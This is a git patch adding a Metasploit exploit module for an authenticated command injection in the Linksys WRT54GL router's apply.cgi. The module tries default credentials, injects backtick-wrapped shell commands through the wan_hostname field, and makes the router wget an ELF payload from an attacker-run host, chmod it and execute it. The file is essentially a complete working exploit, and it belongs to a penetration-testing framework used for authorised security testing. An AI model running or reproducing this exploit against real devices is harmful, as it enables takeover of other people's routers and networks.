From f07117fe7dba29a76520eeef1d06240243f0056a Mon Sep 17 00:00:00 2001 From: m-1-k-3 Date: Thu, 4 Apr 2013 17:30:36 +0200 Subject: [PATCH] replacement of wrt54gl auxiliary module - initial commit --- .../linux/http/linksys_wrt54gl_apply_exec.rb | 637 ++++++++++++++++++ 1 file changed, 637 insertions(+) create mode 100644 modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb diff --git a/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb b/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb new file mode 100644 index 0000000000..7dd40ee81f --- /dev/null +++ b/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb @@ -0,0 +1,637 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HttpServer + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Linksys WRT54GL apply.cgi Command Execution', + 'Description' => %q{ + Some Linksys Routers are vulnerable to an authenticated OS command injection. + Default credentials for the web interface are admin/admin or admin/password. Since + it is a blind os command injection vulnerability, there is no output for the + executed command when using the cmd generic payload. A ping command against a + controlled system could be used for testing purposes. + }, + 'Author' => + [ + 'Michael Messner ', # Vulnerability discovery and Metasploit module + 'juan vazquez' # minor help with msf module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'BID', '57459' ], + [ 'EDB', '24202' ], + [ 'OSVDB', '89912' ], + [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-001' ] + ], + 'DisclosureDate' => 'Jan 18 2013', + 'Privileged' => true, + 'Platform' => ['linux','unix'], + 'Payload' => + { + 'DisableNops' => true + }, + 'Targets' => + [ + [ 'CMD', + { + 'Arch' => ARCH_CMD, + 'Platform' => 'unix' + } + ], + [ 'Linux mipsel Payload', + { + 'Arch' => ARCH_MIPSLE, + 'Platform' => 'linux' + } + ], + ], + 'DefaultTarget' => 1, + )) + + register_options( + [ + OptString.new('USERNAME', [ true, 'The username to authenticate as', 'admin' ]), + OptString.new('PASSWORD', [ true, 'The password for the specified username', 'admin' ]), + OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]), + OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]), + OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]), + OptString.new('RESTORE_CONF', [ true, 'Should we try to restore the original configuration, (default: yes)', 'yes' ]), + OptString.new('LAN_PROTO', [ true, 'The device configuration for the local network, dhcp or static (default: dhcp)', 'dhcp' ]), + ], self.class) + end + + def grab_config(user,pass) + + print_status("#{rhost}:#{rport} - Trying to download the original configuration") + begin + res = send_request_cgi({ + 'uri' => '/index.asp', + 'method' => 'GET', + 'authorization' => basic_auth(user,pass) + }) + if res.nil? or res.code == 404 + fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") + end + if [200, 301, 302].include?(res.code) + if res.body =~ /lan_ipaddr_0/ + print_good("#{rhost}:#{rport} - Successful downloaded the configuration") + else + fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - Download of the original configuration not possible") + end + else + fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") + end + rescue ::Rex::ConnectionError + fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server") + end + + if res.body =~ // + if $1.nil? + @now_proto_orig = "" + else + @now_proto_orig = $1 + end + + if @now_proto_orig !~ /dhcp/ + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - We do not know if this module works with your configuration -> possible we overwrite your config and break this device!") + end + end + if res.body =~ // + if $1.nil? + @daylight_time_orig = "" + else + @daylight_time_orig = $1 + end + end + if res.body =~ // + if $1.nil? + @lan_ipaddr_orig = "" + else + @lan_ipaddr_orig = $1 + end + end + if res.body =~ // + if $1.nil? + @wait_time_orig = "" + else + @wait_time_orig = $1 + end + end + if res.body =~ // + if $1.nil? + @need_reboot_orig = "" + else + @need_reboot_orig = $1 + end + end + if res.body =~ /var\ wan_proto\ =\ \'(.*)\'\;/ + if $1.nil? + @wan_proto_orig = "" + else + @wan_proto_orig = $1 + end + end + if res.body =~ /onBlur\=valid_range\(this\,1\,223\,\"IP\"\)\ size=3\ value=\'(.*)\'\ name=\"lan_ipaddr_0\"\>/ + if $1.nil? + @lan_ipaddr_0_orig = "" + else + @lan_ipaddr_0_orig = $1 + end + end + if res.body =~ /\/ + if $1.nil? + @lan_ipaddr_1_orig = "" + else + @lan_ipaddr_1_orig = $1 + end + end + if res.body =~ /\/ + if $1.nil? + @lan_ipaddr_2_orig = "" + else + @lan_ipaddr_2_orig = $1 + end + end + if res.body =~ /<\/TD>/ + if $1.nil? + @lan_ipaddr_3_orig = "" + else + @lan_ipaddr_3_orig = $1 + end + end + if res.body =~ /name=\"router_name\"\ size=\"20\"\ value=\'(.*)\'\ onBlur=valid_name\(this\,\"Router%20Name\"\)><\/FONT><\/TD>/ + if $1.nil? + @router_name_orig = "" + else + @router_name_orig = $1 + end + end + if res.body =~ /name=\"wan_domain\"\ size=\"20\"\ value=\'(.*)\'\ onBlur=valid_name\(this\,\"Domain%20name\"\,SPACE_NO\)><\/FONT><\/TD>/ + if $1.nil? + @wan_domain_orig = "" + else + @wan_domain_orig = $1 + end + end + if res.body =~ /<\/FONT><\/TD>/ + if $1.nil? + @wan_hostname_orig = "" + else + @wan_hostname_orig = $1 + end + end + if res.body =~ /<\/TD>/ + if $1.nil? + @wan_mtu_orig = "" + else + @wan_mtu_orig = $1 + if @wan_mtu_orig.to_i > 1500 + @mtu_enable = "0" + end + end + end + if res.body =~ /<\/SCRIPT>/ + if $1.nil? + @ui_language_orig = "" + else + @ui_language_orig = $1 + end + end + if res.body =~ /<\/TD>/ + if $1.nil? + @dhcp_num_orig = "" + else + @dhcp_num_orig = $1 + end + end + if res.body =~ /Sel_SubMask_onblur\(this.form.lan_netmask\,this.form\)\ size=3\ value=\'(.*)\'\ name=\"dhcp_start\"\ class=num\ onChange=\"valid_dhcpd_start_ip\(this.form\,\ this\)\">/ + if $1.nil? + @dhcp_start_orig = "" + else + @dhcp_start_orig = $1 + end + end + if res.body =~ /value=.*\ selected\>255\.255\.255\.(.*)\<\/OPTION\>/ + if $1.nil? + @netmask_orig = "" + else + @netmask_orig = $1 + end + end + if res.body =~ // + if $1.nil? + @wan_dns_orig = "" + else + @wan_dns_orig = $1 + end + end + if res.body =~ // + if $1.nil? + @wan_dns0_0_orig = "" + else + @wan_dns0_0_orig = $1 + end + end + if res.body =~ // + if $1.nil? + @wan_dns0_1_orig = "" + else + @wan_dns0_1_orig = $1 + end + end + if res.body =~ // + if $1.nil? + @wan_dns0_2_orig = "" + else + @wan_dns0_2_orig = $1 + end + end + if res.body =~ // + if $1.nil? + @wan_dns0_3_orig = "" + else + @wan_dns0_3_orig = $1 + end + end + + if res.body =~ // + if $1.nil? + @wan_dns1_0_orig = "" + else + @wan_dns1_0_orig = $1 + end + end + if res.body =~ // + if $1.nil? + @wan_dns1_1_orig = "" + else + @wan_dns1_1_orig = $1 + end + end + if res.body =~ // + if $1.nil? + @wan_dns1_2_orig = "" + else + @wan_dns1_2_orig = $1 + end + end + if res.body =~ // + if $1.nil? + @wan_dns1_3_orig = "" + else + @wan_dns1_3_orig = $1 + end + end + + if res.body =~ // + if $1.nil? + @wan_dns2_0_orig = "" + else + @wan_dns2_0_orig = $1 + end + end + if res.body =~ // + if $1.nil? + @wan_dns2_1_orig = "" + else + @wan_dns2_1_orig = $1 + end + end + if res.body =~ // + if $1.nil? + @wan_dns2_2_orig = "" + else + @wan_dns2_2_orig = $1 + end + end + if res.body =~ // + if $1.nil? + @wan_dns2_3_orig = "" + else + @wan_dns2_3_orig = $1 + end + end + if res.body =~ // + if $1.nil? + @wan_wins_orig = "" + else + @wan_wins_orig = $1 + end + end + if res.body =~ // + if $1.nil? + @wan_wins_0_orig = "" + else + @wan_wins_0_orig = $1 + end + end + if res.body =~ // + if $1.nil? + @wan_wins_1_orig = "" + else + @wan_wins_1_orig = $1 + end + end + if res.body =~ // + if $1.nil? + @wan_wins_2_orig = "" + else + @wan_wins_2_orig = $1 + end + end + if res.body =~ // + if $1.nil? + @wan_wins_3_orig = "" + else + @wan_wins_3_orig = $1 + end + end + end + + def restore_conf(user,pass,uri) + + #we have used most parts of the original configuraion + #just need to restore pppoe_username + cmd = @wan_hostname_orig.to_s + print_status("#{rhost}:#{rport} - Asking the Linksys device to reload original configuration") + + ##WARNING: restore of wan_hostname_orig not working!!! + + res = request(cmd,user,pass,uri) + + if (!res) + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to reload original configuration") + end + #the device needs around 30 seconds to apply our current configuration + print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration") + select(nil, nil, nil, @timeout) + end + + def request(cmd,user,pass,uri) + begin + res = send_request_cgi({ + 'uri' => uri, + 'method' => 'POST', + 'authorization' => basic_auth(user,pass), + 'encode_params' => false, + 'vars_post' => { + 'submit_button' => "index", + 'change_action' => "1", + 'submit_type' => "1", + 'action' => "Apply", + 'now_proto' => @now_proto_orig.to_s, #Todo: check if the injection also works with other settings + 'daylight_time' => @daylight_time_orig.to_s, + 'lan_ipaddr' => @lan_ipaddr_orig.to_s, + 'wait_time' => @wait_time_orig.to_s, + 'need_reboot' => @need_reboot_orig.to_s, + 'ui_language' => @ui_language_orig, + 'wan_proto' => @wan_proto_orig.to_s, + 'router_name' => @router_name_orig.to_s, + 'wan_hostname' => cmd, + 'wan_domain' => @wan_domain_orig.to_s, + 'mtu_enable' => @mtu_enable.to_s, + 'wan_mtu' => @wan_mtu_orig.to_s, + 'lan_ipaddr_0' => @lan_ipaddr_0_orig.to_s, + 'lan_ipaddr_1' => @lan_ipaddr_1_orig.to_s, + 'lan_ipaddr_2' => @lan_ipaddr_2_orig.to_s, + 'lan_ipaddr_3' => @lan_ipaddr_3_orig.to_s, + 'lan_netmask' => "255.255.255.#{@netmask_orig}", + 'lan_proto' => @lan_proto_manual.to_s, #we have to configure this + 'dhcp_check' => "1", + 'dhcp_start' => @dhcp_start_orig.to_s, + 'dhcp_num' => @dhcp_num_orig.to_s, + 'dhcp_lease' => @dhcp_lease_orig.to_s, + 'wan_dns' => @wan_dns_orig.to_s, + 'wan_dns0_0' => @wan_dns0_0_orig.to_s, + 'wan_dns0_1' => @wan_dns0_1_orig.to_s, + 'wan_dns0_2' => @wan_dns0_2_orig.to_s, + 'wan_dns0_3' => @wan_dns0_3_orig.to_s, + 'wan_dns1_0' => @wan_dns1_0_orig.to_s, + 'wan_dns1_1' => @wan_dns1_1_orig.to_s, + 'wan_dns1_2' => @wan_dns1_2_orig.to_s, + 'wan_dns1_3' => @wan_dns1_3_orig.to_s, + 'wan_dns2_0' => @wan_dns2_0_orig.to_s, + 'wan_dns2_1' => @wan_dns2_1_orig.to_s, + 'wan_dns2_2' => @wan_dns2_2_orig.to_s, + 'wan_dns2_3' => @wan_dns2_3_orig.to_s, + 'wan_wins' => @wan_wins_orig.to_s, + 'wan_wins_0' => @wan_wins_0_orig.to_s, + 'wan_wins_1' => @wan_wins_1_orig.to_s, + 'wan_wins_2' => @wan_wins_2_orig.to_s, + 'wan_wins_3' => @wan_wins_3_orig.to_s, + 'time_zone' => "-08+1+1", #default is ok + '_daylight_time' => '1' #default is ok + } + }) + return res + rescue ::Rex::ConnectionError + vprint_error("#{rhost} - Failed to connect to the web server") + return nil + end + + end + + def exploit + downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8)) + uri = '/apply.cgi' + user = datastore['USERNAME'] + pass = datastore['PASSWORD'] + rhost = datastore['RHOST'] + rport = datastore['RPORT'] + restore = datastore['RESTORE_CONF'] + @timeout = 10 + @lan_proto_manual = datastore['LAN_PROTO'] + + # + # testing Login + # + print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}") + begin + res = send_request_cgi({ + 'uri' => uri, + 'method' => 'GET', + 'authorization' => basic_auth(user,pass) + }) + if res.nil? or res.code == 404 + fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") + end + if [200, 301, 302].include?(res.code) + print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}") + else + fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") + end + rescue ::Rex::ConnectionError + fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server") + end + + + grab_config(user,pass) + + if target.name =~ /CMD/ + if not (datastore['CMD']) + fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") + end + cmd = payload.encoded + #cmd = Rex::Text.uri_encode(payload.encoded) + cmd = "`#{cmd}`" + res = request(cmd,user,pass,uri) + if (!res) + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") + restore_conf(user,pass,uri) + else + print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state") + if restore == "yes" + print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration") + select(nil, nil, nil, @timeout) + restore_conf(user,pass,uri) + end + + end + return + end + + #thx to Juan for his awesome work on the mipsel elf support + @pl = generate_payload_exe + @elf_sent = false + + # + # start our server + # + resource_uri = '/' + downfile + + if (datastore['DOWNHOST']) + service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri + else + #do not use SSL + if datastore['SSL'] + ssl_restore = true + datastore['SSL'] = false + end + + #we use SRVHOST as download IP for the coming wget command. + #SRVHOST needs a real IP address of our download host + if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") + srv_host = Rex::Socket.source_address(rhost) + else + srv_host = datastore['SRVHOST'] + end + + service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri + print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...") + start_service({'Uri' => { + 'Proc' => Proc.new { |cli, req| + on_request_uri(cli, req) + }, + 'Path' => resource_uri + }}) + + datastore['SSL'] = true if ssl_restore + end + + # + # download payload + # + print_status("#{rhost}:#{rport} - Asking the Linksys device to download #{service_url}") + #this filename is used to store the payload on the device + filename = rand_text_alpha_lower(8) + + #not working if we send all command together -> lets take three requests + cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}" + cmd = "`#{cmd}`" + res = request(cmd,user,pass,uri) + if (!res) + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") + end + + # wait for payload download + if (datastore['DOWNHOST']) + print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the Linksys device to download the payload") + select(nil, nil, nil, datastore['HTTP_DELAY']) + else + wait_linux_payload + end + register_file_for_cleanup("/tmp/#{filename}") + + # + # chmod + # + cmd = "chmod 777 /tmp/#{filename}" + cmd = "`#{cmd}`" + print_status("#{rhost}:#{rport} - Asking the Linksys device to chmod #{downfile}") + res = request(cmd,user,pass,uri) + if (!res) + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") + end + print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration") + select(nil, nil, nil, @timeout) + + # + # execute + # + cmd = "/tmp/#{filename}" + cmd = "`#{cmd}`" + print_status("#{rhost}:#{rport} - Asking the Linksys device to execute #{downfile}") + res = request(cmd,user,pass,uri) + if (!res) + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload") + end + print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration") + select(nil, nil, nil, @timeout) + + # + #reload original configuration + # + if restore == "yes" + restore_conf(user,pass,uri) + end + end + + # Handle incoming requests from the server + def on_request_uri(cli, request) + #print_status("on_request_uri called: #{request.inspect}") + if (not @pl) + print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!") + return + end + print_status("#{rhost}:#{rport} - Sending the payload to the server...") + @elf_sent = true + send_response(cli, @pl) + end + + # wait for the data to be sent + def wait_linux_payload + print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...") + + waited = 0 + while (not @elf_sent) + select(nil, nil, nil, 1) + waited += 1 + if (waited > datastore['HTTP_DELAY']) + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?") + end + end + end + +end